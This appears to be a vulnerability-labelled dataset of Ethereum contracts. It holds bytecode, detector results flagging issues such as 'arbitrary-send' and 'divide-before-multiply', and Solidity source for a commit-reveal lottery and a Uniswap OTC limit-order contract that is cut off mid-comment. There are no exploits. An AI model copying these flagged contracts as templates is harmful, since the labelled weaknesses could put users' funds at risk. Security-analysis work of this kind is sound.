9350505050151561139c57600080fd5b5b5050565b6000806000806000806000806000806113b98b612a53565b809350819450829550505050600960008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114016127c2565b61140a8d61275b565b6114138e611664565b8686869950995099509950995099509950505050919395979092949650565b61143a612bcb565b611442612bcb565b61144a612bdf565b611452612bcb565b61145a612bcb565b611462612bdf565b60008061146d61117a565b60405180591061147a5750595b9080825280602002602001820160405250945061149561117a565b6040518059106114a25750595b908082528060200260200182016040525093506114bd61117a565b6040518059106114ca5750595b9080825280602002602001820160405250925060009150600090505b6008805490508160ff16101561165157600073ffffffffffffffffffffffffffffffffffffffff1661153460088360ff1681548110151561152357fe5b906000526020600020900154611879565b73ffffffffffffffffffffffffffffffffffffffff161415156116445760088160ff1681548110151561156357fe5b906000526020600020900154858381518110151561157d57fe5b90602001906020020181815250506115b160088260ff168154811015156115a057fe5b90600052602060002090015461275b565b84838151811015156115bf57fe5b90602001906020020181815250506115f360088260ff168154811015156115e257fe5b906000526020600020900154611879565b838381518110151561160157fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506114e6565b8484849750975097505050505050909192565b60006116776116728361275b565b6127cc565b9050919050565b6000806000806000806001151561169489612778565b15151415156116a257600080fd5b6001871415156116b157600080fd5b604060ff16878a01111515156116c657600080fd5b6116d1898989612abb565b955060006116de8761275b565b1415156116ea57600080fd5b6007549450600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600880548060010182816117289190612bf3565b916000526020600020900160008890919091505550611746856127cc565b600a6000888152602001908152602001600020819055506117708534612a3a90919063ffffffff16565b9250339150816009600088815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117d0856118b6565b90508373ffffffffffffffffffffffffffffffffffffffff166108fc6117ff8388612a3a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050151561182457600080fd5b600083111561186e578173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561186d57600080fd5b5b505050505050505050565b60006009600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006003548210156118f0576118e960646118db600585612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506119c2565b600454821015611928576119216064611913600485612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506119c2565b60055482101561196057611959606461194b600385612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506119c2565b600654821015611998576119916064611983600385612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506119c2565b6119bf60646119b1600285612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90505b919050565b6119cf612bcb565b6119d7612bcb565b6000806119e385611b84565b6040518059106119f05750595b9080825280602002602001820160405250925060009150600090505b6008805490508160ff161015611ac3578473ffffffffffffffffffffffffffffffffffffffff16611a5960088360ff16815481101515611a4857fe5b906000526020600020900154611879565b73ffffffffffffffffffffffffffffffffffffffff161415611ab65760088160ff16815481101515611a8757fe5b9060005260206000209001548383815181101515611aa157fe5b90602001906020020181815250506001820191505b8080600101915050611a0c565b829350505050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611b2a57600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809150600090505b6008805490508160ff161015611c10578373ffffffffffffffffffffffffffffffffffffffff16611bde60088360ff16815481101515611bcd57fe5b906000526020600020900154611879565b73ffffffffffffffffffffffffffffffffffffffff161415611c035781806001019250505b8080600101915050611b91565b8192505050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c7657600080fd5b6001600260006101000a81548160ff021916908315150217905550565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ceb57600080fd5b816000806101000a81548160ff021916908360ff16021790555080600060016101000a81548160ff021916908360ff1602179055505050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d7e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b3373ffffffffffffffffffffffffffffffffffffffff16600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611df757600080fd5b600060039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611e7057600080fd5b565b611e7a612b37565b6040805190810160405280600581526020017f63656c6c73000000000000000000000000000000000000000000000000000000815250905090565b611ebd612bcb565b611ec5612bcb565b600080611ed061117a565b604051805910611edd5750595b9080825280602002602001820160405250925060009150600090505b6008805490508160ff161015611fdd57600073ffffffffffffffffffffffffffffffffffffffff166009600060088460ff16815481101515611f3757fe5b906000526020600020900154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611fd05760088160ff16815481101515611fa157fe5b9060005260206000209001548383815181101515611fbb57fe5b90602001906020020181815250506001820191505b8080600101915050611ef9565b82935050505090565b600080600260019054906101000a900460ff16151561200457600080fd5b60048484905014151561201657600080fd5b600060029054906101000a900460ff1660ff166127106305f5e10086866000818110151561204057fe5b9050602002013581151561205057fe5b0681151561205a57fe5b0410151561206757600080fd5b600060029054906101000a900460ff1660ff166127106305f5e10086866000818110151561209157fe5b905060200201358115156120a157fe5b068115156120ab57fe5b041015156120b857600080fd5b600060029054906101000a900460ff1660ff166127106305f5e1008686600081811015156120e257fe5b905060200201358115156120f257fe5b068115156120fc57fe5b0410151561210957600080fd5b600060029054906101000a900460ff1660ff166127106305f5e10086866000818110151561213357fe5b9050602002013581151561214357fe5b0681151561214d57fe5b0410151561215a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866000818110151561218457fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156121dc57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866001818110151561220657fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561225e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866002818110151561228857fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156122e057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600086866003818110151561230a57fe5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561236257600080fd5b83836001818110151561237157fe5b9050602002013564e8d4a5100085856000818110151561238d57fe5b90506020020135011415156123a157600080fd5b8383600281811015156123b057fe5b905060200201356305f5e1008585600081811015156123cb57fe5b90506020020135011415156123df57600080fd5b8383600381811015156123ee57fe5b9050602002013564e8d4a510006305f5e10086866000818110151561240f57fe5b90506020020135010114151561242457600080fd5b600a600085856003818110151561243757fe5b90506020020135815260200190815260200160002054600a600086866002818110151561246057fe5b90506020020135815260200190815260200160002054600a600087876001818110151561248957fe5b90506020020135815260200190815260200160002054600a60008888600081811015156124b257fe5b9050602002013581526020019081526020016000205401010191506305f5e1008484600081811015156124e157fe5b905060200201358115156124f157fe5b0684846000818110151561250157fe5b905060200201350190506008805480600101828161251f9190612bf3565b91600052602060002090016000839091909150555081600a600083815260200190815260200160002081905550336009600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960008686600081811015156125b357fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009600086866001818110151561261b57fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009600086866002818110151561268357fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960008686600381811015156126eb57fe5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000600260019054906101000a900460ff16905090565b6000600a6000838152602001908152602001600020549050919050565b60008060009054906101000a900460ff1660ff168210806127aa5750600060019054906101000a900460ff1660ff1682115b156127b857600090506127bd565b600190505b919050565b6000600754905090565b6000600354821015612806576127ff605f6127f160c885612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506128d8565b60045482101561283e576128376060612829608785612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506128d8565b6005548210156128765761286f6061612861607d85612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506128d8565b6006548210156128ae576128a76061612899607585612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90506128d8565b6128d560626128c7607385612ae190919063ffffffff16565b612b1c90919063ffffffff16565b90505b919050565b6128e5612b37565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129b85780601f1061298d576101008083540402835291602001916129b8565b820191906000526020600020905b81548152906001019060200180831161299b57829003601f168201915b50505050509050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612a1c57600080fd5b80600060026101000a81548160ff021916908360ff16021790555050565b6000828211151515612a4857fe5b818303905092915050565b60008060008060008064e8d4a5100087811515612a6c57fe5b0492506305f5e10064e8d4a5100084028803811515612a8757fe5b049150612710620186a088811515612a9b57fe5b06811515612aa557fe5b0490508282829550955095505050509193909250565b60008061271083026305f5e100850264e8d4a51000870201019050809150509392505050565b6000806000841415612af65760009150612b15565b8284029050828482811515612b0757fe5b04141515612b1157fe5b8091505b5092915050565b6000808284811515612b2a57fe5b0490508091505092915050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612b8c57805160ff1916838001178555612bba565b82800160010185558215612bba579182015b82811115612bb9578251825591602001919060010190612b9e565b5b509050612bc79190612c1f565b5090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b815481835581811511612c1a57818360005260206000209182019101612c199190612c1f565b5b505050565b612c4191905b80821115612c3d576000816000905550600101612c25565b5090565b905600a165627a7a72305820563929af06958bade4367114d2bc57d1de097b80a0fd38ae278d3ccd5444e2d30029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,252
0x716525973aa2f59a6bb80b001f089da754b2c3be
pragma solidity ^0.4.13; /* Lottery ======================== Allows users to participate in a game-theoretically sound lottery. Author: /u/Cintix */ contract Lottery { // The Ticket struct encodes an address&#39; range of winning numbers. struct Ticket { // Offset from 0 of the Ticket&#39;s range of winning numbers. uint128 offset; // The value of the Ticket in Wei and the size of the range of winning numbers. uint128 value; } // Store the Ticket corresponding to each user&#39;s address. mapping (address => Ticket) public tickets; // Store the commited hash of each host. mapping (address => bytes32) public commits; // Store the number of hosts securing the lottery&#39;s RNG. uint256 public num_hosts; // Store the number of hosts that have revealed their secret random number. uint256 public num_hosts_revealed; // Store the host-generated random number that determines the lottery winner. uint256 public rng; // Boolean indicating whether the lottery has been cancelled. bool public cancelled; // Store total ETH spent by users on tickets. uint256 public total_user_eth; // Maximum total ETH users may spend on tickets. uint256 public total_user_eth_cap = 100 ether; // Cut of the winnings used to incentivize host participation. uint256 public host_percentage = 10; // Store end time of the ticket buying phase. uint256 public buy_end_time = 1503829813; // Store end time of the host commit phase. uint256 public commit_end_time = buy_end_time + 1 days; // Store end time of the host reveal phase. uint256 public reveal_end_time = commit_end_time + 1 days; // Cancel the lottery if the host quorum isn&#39;t met or a host failed to reveal in time. function cancel_lottery() { // Only allow canceling the lottery after the commit phase has ended. require(now > commit_end_time); // Determine whether there are enough hosts for trustless RNG. bool quorum_met = num_hosts >= 2; // Determine whether all hosts have revealed their secret random numbers. bool all_hosts_revealed = num_hosts == num_hosts_revealed; // Determine whether the reveal phase has ended. bool reveal_phase_ended = now > reveal_end_time; // Only allow canceling the lottery if the quorum hasn&#39;t been met or not all hosts revealed. require(!quorum_met || (!all_hosts_revealed && reveal_phase_ended)); // Irreversibly cancel the lottery. cancelled = true; } // Adds a host to the lottery, increasing the security of the lottery&#39;s random number generation. function host_lottery(bytes32 commit) payable { // Hosts must guarantee their hashed secret random number up to the value of the lottery. require(msg.value == total_user_eth); // Only allow new hosts to join during the lottery&#39;s commit phase. require((now > buy_end_time) && (now <= commit_end_time)); // Sanity check hashed secret and only allow each host to join once. require((commit != 0) && (commits[msg.sender] == 0)); // Store the host&#39;s hashed secret random number. commits[msg.sender] = commit; // Increment the host counter to account for the new host. num_hosts += 1; } // Allows anyone to steal a host&#39;s committed ETH if their secret random number isn&#39;t random or isn&#39;t secret. function steal_reveal(address host, uint256 secret_random_number) { // Only allow stealing during the lottery&#39;s commit phase to prevent higher-gas-tx-sniping host reveals. require((now > buy_end_time) && (now <= commit_end_time)); // Verify the secret random number matches the committed hash. require(commits[host] == keccak256(secret_random_number)); // Irreversibly cancel the lottery, as rng is compromised. cancelled = true; // Update commitment prior to sending ETH to prevent recursive call. commits[host] = 0; // Send the thief the host&#39;s committed ETH. msg.sender.transfer(total_user_eth); } // Allow hosts to reveal their secret random number during the lottery&#39;s reveal phase. function host_reveal(uint256 secret_random_number) { // Only allow revealing during the lottery&#39;s reveal phase. require((now > commit_end_time) && (now <= reveal_end_time)); // Verify the secret random number matches the committed hash. require(commits[msg.sender] == keccak256(secret_random_number)); // Update commitment prior to sending ETH to prevent recursive call. commits[msg.sender] = 0; // Update random number by XORing with host&#39;s revealed secret random number. rng ^= secret_random_number; // Increment the counter of hosts that have revealed their secret number. num_hosts_revealed += 1; // Send the host back their committed ETH. msg.sender.transfer(total_user_eth); } // Allow hosts to claim their earnings from a successful lottery. function host_claim_earnings(address host) { // Only allow claims if the lottery hasn&#39;t been cancelled. require(!cancelled); // Only allow claims if there were enough hosts for trustless RNG. require(num_hosts >= 2); // Only allow claims if all hosts have revealed their secret random numbers. require(num_hosts == num_hosts_revealed); // Send the host their earnings (i.e. an even cut of 10% of ETH spent on tickets). host.transfer(total_user_eth * host_percentage / (num_hosts * 100)); } // Allow anyone to send the winner their winnings. function claim_winnings(address winner) { // Only allow winning if the lottery hasn&#39;t been cancelled. require(!cancelled); // Only allow winning if there were enough hosts for trustless RNG. require(num_hosts >= 2); // Only allow winning if all hosts have revealed their secret random numbers. require(num_hosts == num_hosts_revealed); // Calculate the winning number. uint256 winning_number = rng % total_user_eth; // Require the winning number to fall within the winning Ticket&#39;s range of winning numbers. require((winning_number >= tickets[winner].offset) && (winning_number < tickets[winner].offset + tickets[winner].value)); // Send the winner their winnings (i.e. 90% of ETH spent on tickets). winner.transfer(total_user_eth * (100 - host_percentage) / 100); } // Withdraw a user&#39;s ETH for them in the event the lottery is cancelled. function withdraw(address user) { // Only allow withdrawals if the lottery has been cancelled. require(cancelled); // Only allow withdrawals for users who have funds in the contract. require(tickets[user].value != 0); // Store the user&#39;s balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = tickets[user].value; // Update the user&#39;s stored funds prior to transfer to prevent recursive call. tickets[user].value = 0; // Return the user&#39;s funds. Throws on failure to prevent loss of funds. user.transfer(eth_to_withdraw); } // Default function, called when a user sends ETH to the contract. Buys Tickets. function () payable { // Only allow Tickets to be purchased during the ticket buying phase. require(now <= buy_end_time); // Only allow one lottery Ticket per account. require(tickets[msg.sender].value == 0); // Set winning numbers offset to the first numbers not owned by anyone else. tickets[msg.sender].offset = uint128(total_user_eth); // Set the ticket value and range of winning numbers to the amount of ETH sent. tickets[msg.sender].value = uint128(msg.value); // Update the total amount of ETH spent on tickets. total_user_eth += msg.value; // Only allow tickets to be purchased up to the lottery&#39;s ETH cap. require(total_user_eth <= total_user_eth_cap); } }
0x606060405236156101045763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306dc5d7f81146101ac5780630b1f3850146101d1578063332eb83e146101f657806350a5c8721461021a57806351cff8d9146102325780635ae23da21461025357806360c7bb5a146102745780636dcbf2a31461028157806379808552146102c45780637b43a8e6146102d957806381f799e21461030a5780639a20821b1461032f5780639a82a09a14610350578063aa9a2cf014610377578063b58fa1251461039c578063b8803738146103c1578063d1dd2794146103e6578063d4291e0c1461040b578063d605787b14610430575b5b60095442111561011457600080fd5b33600160a060020a0316600090815260208190526040902054608060020a90046001608060020a03161561014757600080fd5b6006805433600160a060020a0316600090815260208190526040902080546fffffffffffffffffffffffffffffffff19166001608060020a03928316178216608060020a3493841602179055815401908190556007549011156101a957600080fd5b5b005b34156101b757600080fd5b6101bf610455565b60405190815260200160405180910390f35b34156101dc57600080fd5b6101bf61045b565b60405190815260200160405180910390f35b341561020157600080fd5b6101a9600160a060020a0360043516602435610461565b005b341561022557600080fd5b6101a9600435610517565b005b341561023d57600080fd5b6101a9600160a060020a03600435166105c7565b005b341561025e57600080fd5b6101a9600160a060020a0360043516610670565b005b6101a96004356106ec565b005b341561028c57600080fd5b6102a0600160a060020a0360043516610773565b6040516001608060020a039283168152911660208201526040908101905180910390f35b34156102cf57600080fd5b6101a9610799565b005b34156102e457600080fd5b6101bf600160a060020a03600435166107f8565b60405190815260200160405180910390f35b341561031557600080fd5b6101bf61080a565b60405190815260200160405180910390f35b341561033a57600080fd5b6101a9600160a060020a0360043516610810565b005b341561035b57600080fd5b610363610910565b604051901515815260200160405180910390f35b341561038257600080fd5b6101bf610919565b60405190815260200160405180910390f35b34156103a757600080fd5b6101bf61091f565b60405190815260200160405180910390f35b34156103cc57600080fd5b6101bf610925565b60405190815260200160405180910390f35b34156103f157600080fd5b6101bf61092b565b60405190815260200160405180910390f35b341561041657600080fd5b6101bf610931565b60405190815260200160405180910390f35b341561043b57600080fd5b6101bf610937565b60405190815260200160405180910390f35b60065481565b60035481565b600954421180156104745750600a544211155b151561047f57600080fd5b80604051908152602001604051908190039020600160a060020a038316600090815260016020526040902054146104b557600080fd5b6005805460ff19166001908117909155600160a060020a038084166000908152602092909252604080832092909255600654339091169181156108fc02919051600060405180830381858888f19350505050151561051257600080fd5b5b5050565b600a544211801561052a5750600b544211155b151561053557600080fd5b80604051908152602001604051908190039020600160a060020a0333166000908152600160205260409020541461056b57600080fd5b600160a060020a033316600081815260016020819052604080832092909255600480548518905560038054909101905560065480156108fc029151600060405180830381858888f1935050505015156105c357600080fd5b5b50565b60055460009060ff1615156105db57600080fd5b600160a060020a038216600090815260208190526040902054608060020a90046001608060020a0316151561060f57600080fd5b50600160a060020a0381166000818152602081905260409081902080546001608060020a03808216909255608060020a900416919082156108fc0290839051600060405180830381858888f19350505050151561051257600080fd5b5b5050565b60055460ff161561068057600080fd5b60028054101561068f57600080fd5b6003546002541461069f57600080fd5b80600160a060020a03166108fc600254606402600854600654028115156106c257fe5b049081150290604051600060405180830381858888f1935050505015156105c357600080fd5b5b50565b60065434146106fa57600080fd5b6009544211801561070d5750600a544211155b151561071857600080fd5b801580159061073d5750600160a060020a033316600090815260016020526040902054155b151561074857600080fd5b600160a060020a03331660009081526001602081905260409091208290556002805490910190555b50565b6000602081905290815260409020546001608060020a0380821691608060020a90041682565b6000806000600a54421115156107ae57600080fd5b6002805410159250600354600254149150600b54421190508215806107d95750811580156107d95750805b5b15156107e557600080fd5b6005805460ff191660011790555b505050565b60016020526000908152604090205481565b600b5481565b60055460009060ff161561082357600080fd5b60028054101561083257600080fd5b6003546002541461084257600080fd5b60065460045481151561085157fe5b600160a060020a03841660009081526020819052604090205491900691506001608060020a031681108015906108b85750600160a060020a0382166000908152602081905260409020546001608060020a03808216608060020a9092048116919091011681105b15156108c357600080fd5b81600160a060020a03166108fc6064600854606403600654028115156108e557fe5b049081150290604051600060405180830381858888f19350505050151561051257600080fd5b5b5050565b60055460ff1681565b60085481565b600a5481565b60075481565b60095481565b60025481565b600454815600a165627a7a72305820a1e67973659afcbd07766866681bbd42084df7122b4a8668eefb3985bc14d65d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,253
0x6e9c8aad62f66df29e83d95b037181807f96036e
/** *Submitted for verification at Etherscan.io on 2020-04-29 */ pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapExchange { // Protocol Functions function tokenAddress() external view returns (address); function factoryAddress() external view returns (address); // ERC20 Functions (Keep track of liquidity providers) function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); // Pricing functions function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256); // Add Liquidity function setup(address token_addr) external; function addLiquidity( uint256 min_liquidity, uint256 max_tokens, uint256 deadline ) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256); //Eth/Token Swap //Sell all ETH function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256); function ethToTokenTransferInput( uint256 min_tokens, uint256 deadline, address recipient ) external payable returns (uint256); //Sell some ETH and get refund function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256); function ethToTokenTransferOutput( uint256 tokens_bought, uint256 deadline, address recipient ) external payable returns (uint256); //Token/Eth Swap //Sell all tokens function tokenToEthSwapInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline ) external returns (uint256); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256); //Sell some tokens and get refund function tokenToEthSwapOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline ) external returns (uint256); function tokenToEthTransferOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient ) external returns (uint256); //Token/Token Swap function tokenToTokenSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr ) external returns (uint256); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256); function tokenToTokenSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr ) external returns (uint256); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr ) external returns (uint256); //Token/Exchange Swap function tokenToExchangeSwapInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr ) external returns (uint256); function tokenToExchangeTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr ) external returns (uint256); function tokenToExchangeSwapOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr ) external returns (uint256); function tokenToExchangeTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr ) external returns (uint256); } contract UniswapOTC { address public owner; address public exchangeAddress; address public tokenAddress; uint256 public totalClients; address[] public clients; mapping (address => bool) public clientExists; mapping (address => uint256) public clientEthBalances; //Client ETH balance mapping (address => uint256) public clientMinTokens; //Client Limit Order mapping (address => uint256) public clientTokenBalances; //Client Token balance mapping (address => uint256) public clientTokenFees; //Total OTC Fees mapping (address => uint256) public purchaseTimestamp; //Withdrawal timestamp uint256 constant ONE_DAY_SECONDS = 86400; uint256 constant FIVE_MINUTE_SECONDS = 300; mapping(address => bool) public triggerAddresses; //Bot Trigger Addresses IERC20 token; IUniswapExchange exchange; //Min volume values uint256 public minEthLimit; //Min Volume uint256 public maxTokenPerEth; //Min Price constructor(address _exchangeAddress, uint256 _minEthLimit, uint256 _maxTokenPerEth) public { exchange = IUniswapExchange(_exchangeAddress); exchangeAddress = _exchangeAddress; tokenAddress = exchange.tokenAddress(); token = IERC20(tokenAddress); owner = msg.sender; minEthLimit = _minEthLimit; maxTokenPerEth = _maxTokenPerEth; totalClients = 0; } /** * @dev OTC Provider. Gives right to fee withdrawal. */ modifier onlyOwner() { require(msg.sender == owner, "Unauthorized"); _; } /** * @dev Authorized Purchase Trigger addresses for mempool bot. */ modifier onlyTrigger() { require(msg.sender == owner || triggerAddresses[msg.sender], "Unauthorized"); _; } /** * @dev Trigger Uniswap contract, drains client's ETH balance. * Computes fee as spread between execution price and limit price. */ function executeLimitOrder(address _client, uint256 deadline) public onlyTrigger returns (uint256, uint256) { //Avoids Uniswap Assert Failure when no liquidity (gas saving) require(token.balanceOf(exchangeAddress) > 0, "No liquidity on Uniswap!"); //27,055 Gas uint256 ethBalance = clientEthBalances[_client]; uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance); uint256 minTokens = clientMinTokens[_client]; require(tokensBought >= minTokens, "Purchase amount below min tokens!"); //27,055 Gas uint256 spreadFee = tokensBought - minTokens; //Tokens bought, set balance 0 clientEthBalances[_client] = 0; //Reset state clientMinTokens[_client] = 0; //Reset state clientTokenBalances[_client] += minTokens; //Add to balance clientTokenFees[_client] += spreadFee; //Add to balance purchaseTimestamp[_client] = block.timestamp + ONE_DAY_SECONDS; //Call Uniswap contract exchange.ethToTokenSwapInput.value(ethBalance)( tokensBought, deadline ); return (minTokens, spreadFee); } /** * @dev Add Trigger address. */ function setTriggerAddress(address _address, bool _authorized) public onlyOwner { triggerAddresses[_address] = _authorized; } /** * @dev Get max limit price. */ function getMaxTokens(uint256 _etherAmount) public view returns (uint256) { return _etherAmount * maxTokenPerEth; } /** * @dev Fund contract and set limit price (in the form of min purchased tokens). * Excess value is refunded to sender in the case of a re-balancing. */ function setLimitOrder(uint256 _tokenAmount, uint256 _etherAmount) public payable { require(_etherAmount >= minEthLimit, "Insufficient ETH volume"); require(_tokenAmount <= maxTokenPerEth * _etherAmount, "Excessive token per ETH"); require(_etherAmount == clientEthBalances[msg.sender] + msg.value, "Balance must equal purchase eth amount."); if (!clientExists[msg.sender]) { clientExists[msg.sender] = true; clients.push(msg.sender); totalClients += 1; } //Increment client balance clientEthBalances[msg.sender] += msg.value; clientMinTokens[msg.sender] = _tokenAmount; } /** * @dev Return if purchase would be autherized at current prices */ function canPurchase(address _client) public view returns (bool) { //Avoids Uniswap Assert Failure when no liquidity (gas saving) if (token.balanceOf(exchangeAddress) == 0) { return false; } uint256 ethBalance = clientEthBalances[_client]; if (ethBalance == 0) { return false; } uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance); uint256 minTokens = clientMinTokens[_client]; //Only minimum amount of tokens return tokensBought >= minTokens; } /** * @dev Withdraw OTC provider fee tokens. */ function withdrawFeeTokens(address _client) public onlyOwner { require(clientTokenFees[_client] > 0, "No fees!"); require(block.timestamp > purchaseTimestamp[_client], "Wait for client withdrawal."); uint256 sendFees = clientTokenFees[_client]; clientTokenFees[_client] = 0; token.transfer(msg.sender, sendFees); } /** * @dev Withdraw 